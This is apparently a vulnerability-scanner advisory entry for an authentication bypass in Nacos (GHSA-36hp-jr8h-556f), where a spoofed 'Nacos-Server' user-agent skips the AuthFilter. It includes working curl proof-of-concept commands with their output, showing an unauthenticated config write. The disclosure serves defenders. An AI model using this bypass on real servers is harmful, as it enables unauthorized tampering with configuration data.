QID 982636

QID 982636: Java (maven) Security Update for com.alibaba.nacos:nacos-common (GHSA-36hp-jr8h-556f)

When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.

The following request to the `configuration` endpoint gets rejected as we are not providing any credentials:
```
curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
```

However the following one gets accepted by using the `Nacos-Server` user-agent header:
```
curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
```

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

  • CVSS V3 rated as Critical - 9.8 severity.
  • CVSS V2 rated as High - 7.5 severity.
  • Solution
    Customers are advised to refer to GHSA-36hp-jr8h-556f for updates pertaining to this vulnerability.
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